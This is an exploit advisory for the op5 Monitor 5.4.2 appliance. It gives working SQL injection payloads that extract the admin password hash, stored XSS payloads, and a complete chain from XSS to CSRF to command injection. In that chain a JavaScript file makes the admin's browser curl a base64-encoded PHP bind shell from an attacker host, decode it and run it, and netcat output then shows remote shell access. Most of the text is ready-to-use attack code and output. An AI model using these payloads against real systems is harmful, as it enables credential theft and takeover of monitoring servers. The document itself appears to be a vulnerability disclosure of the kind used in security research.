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op5 Monitoring 5.4.2 XSS / CSRF / SQL Injection

Posted on 24 August 2012

# Author: loneferret of Offensive Security
# Product: op5 Monitoring (VM appliance)
# Version: 5.4.2
# Vendor Site: http://www.op5.com/
# Software Download: http://www.op5.com/get-op5-monitor/get-started/

# Software Description:
# op5 is a market leading developer of Open Source Management solutions.
# op5 develops and delivers enterprise-class software for monitoring and administration
# of the whole IT, from hardware and software all the way to virtual or cloud based services.
# The solutions comes in a fully supported package called op5 Monitor. The architecture
# supports scalability from the small and business critical IT to the very large IT with
# tens of thousands of actively controlled services.

# Vulnerabilities:
# SQL Injection
# Cross Site Request Forgery
# Stored XSS

# Description path to Shell:
# Several vulnerabilities are present in this software. All of which need different
# levels of authentication. SQLi, CSRF and Stored XSS are present and can be
# triggered giving variant degrees of results. From interesting to just plain annoying.
#
# But most interesting is the admin's (or the default monitor user) ability to run
# shell commands from the web-interface. Although these commands are limited, it is
# still possible to get a shell providing some conditions are met.
#
# As all of the vulnerabilities are post-authentication, it assumes the attacker is
# a user with access to the web application. In this case, a low-privilege user is enough to
# get the ball rolling in getting a shell. With enough access our "disgruntled employee"
# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to
# setup a Bind-Shell.

# SQLi PoC 1:
# Minimum Access Rights needed: authorized_for_all_hosts
# Page: /index.php/status/hostgroup_grid?items_per_page=
# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0
# Injection point: select * from hostgroup limit 0 union <HERE> offset 0
# Payload: 0' union select 1,2,3,4,5,6,7--
# Get password hash for user with '1' (usually monitor)
# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--

# mysql> describe users;
# +---------------+------------------+------+-----+----------+----------------+
# | Field | Type | Null | Key | Default | Extra |
# +---------------+------------------+------+-----+----------+----------------+
# | id | int(11) unsigned | NO | PRI | NULL | auto_increment |
# | realname | varchar(100) | NO | | NULL | |
# | email | varchar(127) | NO | | NULL | |
# | username | varchar(100) | NO | UNI | | |
# | password_algo | varchar(20) | NO | | b64_sha1 | |
# | password | varchar(50) | NO | | NULL | |
# | logins | int(10) unsigned | NO | | 0 | |
# | last_login | int(10) unsigned | YES | | NULL | |
# +---------------+------------------+------+-----+----------+----------------+

# SQLi PoC 2:
# Page: all?items_per_page=
# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--

# Stored XSS PoC:
# Minimum Access Rights needed: authorized_for_all_hosts
# authorized_for_all_host_commands
# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT
# In the Comment input field
# Payload: <script>alert(document.cookie);</script>
# <iframe src="http://something.html></iframe>
# <script src="http://attacker/xss.js></script>

#
# Setup for shell
# With some explanations...

# Step 1: XSS
# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script>

# Step 2: Create JavaScript file to download shell file.
# op5-shell.js File
#

function triggerShell(){
 var url = "https://victim/monitor/op5/nacoma/command_test.php?cmd_str=ifconfig;";
 url += "curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;"
 url += "base64 -d /tmp/b64Bind.txt > /tmp/hell.txt;php /tmp/hell.txt";
 var request = new XMLHttpRequest();
 request.open('GET', url, false);
 request.send(null);
}

function setupConf(){
 // The admin needs to visit this page at least once, in order to get the CSRF to work and
 // call the 'command_test.php?cmd_str' and issue commands. Once the page has been
 // successfully called, we request our malicious link.

 var request = new XMLHttpRequest();
 request.open('GET', 'https://victim/monitor/index.php/configuration/configure', false);
 request.send(null);
 if (request.status === 200) {
 triggerShell();
 }
}

setupConf();

#
# End of file

# Step 3:
# netcat into victim on port 4444

# Well that's pretty much it. Once the administrator looks at the comment page associated with
# the machine the XSS is triggered and things happen. The fun part is, even if the comment
# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is
# triggered once again. It's actually a pain to get rid of once it's there.
#
# Shell commands from the Web-Interface:
# These are very limited in regards of rights and privileges. The commands aren't run
# directly from a command shell but rather using a small complied script call "asmonitor".
# All the commands, from a shell's standpoint, are run with the "monitor" user.

# bash-3.2$ /usr/bin/asmonitor
# usage: asmonitor arg1 arg2 arg3 argn...

# Chaining multiple commands is not permitted and only the first command will succeed
# with the second one failing. Also commands requiring multiple parameters, such
# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces
# between them.
# One way to circumvent this limitation of multiple commands is with the " ; " character.
# Example, "ifconfig ifconfig" will not work, with only the first "ifconfig" to successfully
# execute. Placing "ifconfig;ifconfig" in the web-interfaces's input box will result in
# both commands executing. This leads us to deduce the second 'ifconfig' is not running
# in a jailed environment. Providing us with a greater arsenal of commands available to us.
#
# Unfortunately due to rights restriction, we can't just download a file directly to our webroot.
# We do have a few rights in the /tmp folder. Unfortunately we can't just download a file
# file there either. This is what "wget" with the "-o" options gives:

# Command:
# ifconfig;wget http://attacker/xss.js -o /tmp/test.txt
# --2012-08-22 04:03:46-- http://172.16.194.188/xss.js
# Connecting to 172.16.194.188:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 14 [application/javascript]
# xss.js: Permission denied
#
# Cannot write to `xss.js' (Permission denied).

# We can however save the output of a file called remotely using 'curl'.
# Command:
# curl http://attacker/remote.txt > /tmp/test.txt
|
# bash-3.2$ cat test.txt
# % Total % Received % Xferd Average Speed Time Time Time Current
# Dload Upload Total Spent Left Speed
# 0 23 0 23 0 0 18668 0 --:--:-- --:--:-- --:--:-- 0
# Content of Remote file

# Well it's not perfect, and we still can't download a shell since the all that
# transfer information gets in the way of any PHP tags. We can however output text,
# which would be our shell code base64 encoded. This way curl will just display content
# of the file.
# Command:
# curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;base64 -d /tmp/b64Bind.txt > /tmp/hell.txt
|
# bash-3.2$ cat b64Bind.txt
# PD9waHAJCQoJCQlAc2V0X3RpbWVfbGltaXQoMCk7IEB.... and so on.

# From here, using our jailbroken "shell" from the web interface, it's a simple
# matter of decoding it [base64 -d /tmp/b64Bind.txt > /tmp/hell.txt].
# Command:
|
# bash-3.2$ cat hell.txt
# < ?php
# @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
# .
# .
# .
# ? >

# Luckily for us we can execute some stuff as well from our web interface.
# From here we simply call our PHP shell using the "php" command, this should open
# us port 4444 give provide us with a shell on the system.
|
# Victim Machine:
# bash-3.2$ netstat -antp | grep 4444
# (Not all processes could be identified, non-owned process info
# will not be shown, you would have to be root to see it all.)
# tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 9432/php

# Attacking Machine:
# root@harvey:~# ifconfig eth2
# eth2 Link encap:Ethernet HWaddr 00:50:56:3b:4b:ad
# inet addr:172.16.194.188 Bcast:172.16.194.255 Mask:255.255.255.0
# inet6 addr: fe80::250:56ff:fe3b:4bad/64 Scope:Link
# UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
# RX packets:160217 errors:0 dropped:0 overruns:0 frame:0
# TX packets:205140 errors:0 dropped:0 overruns:0 carrier:0
# collisions:0 txqueuelen:1000
# RX bytes:32606164 (32.6 MB) TX bytes:140956811 (140.9 MB)
# Interrupt:19 Base address:0x2080
|
# root@harvey:~# nc -vn 172.16.194.198 4444
# (UNKNOWN) [172.16.194.198] 4444 (?) open
# whoami
# apache
# uname -a
# Linux op5-system 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:32:21 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

 

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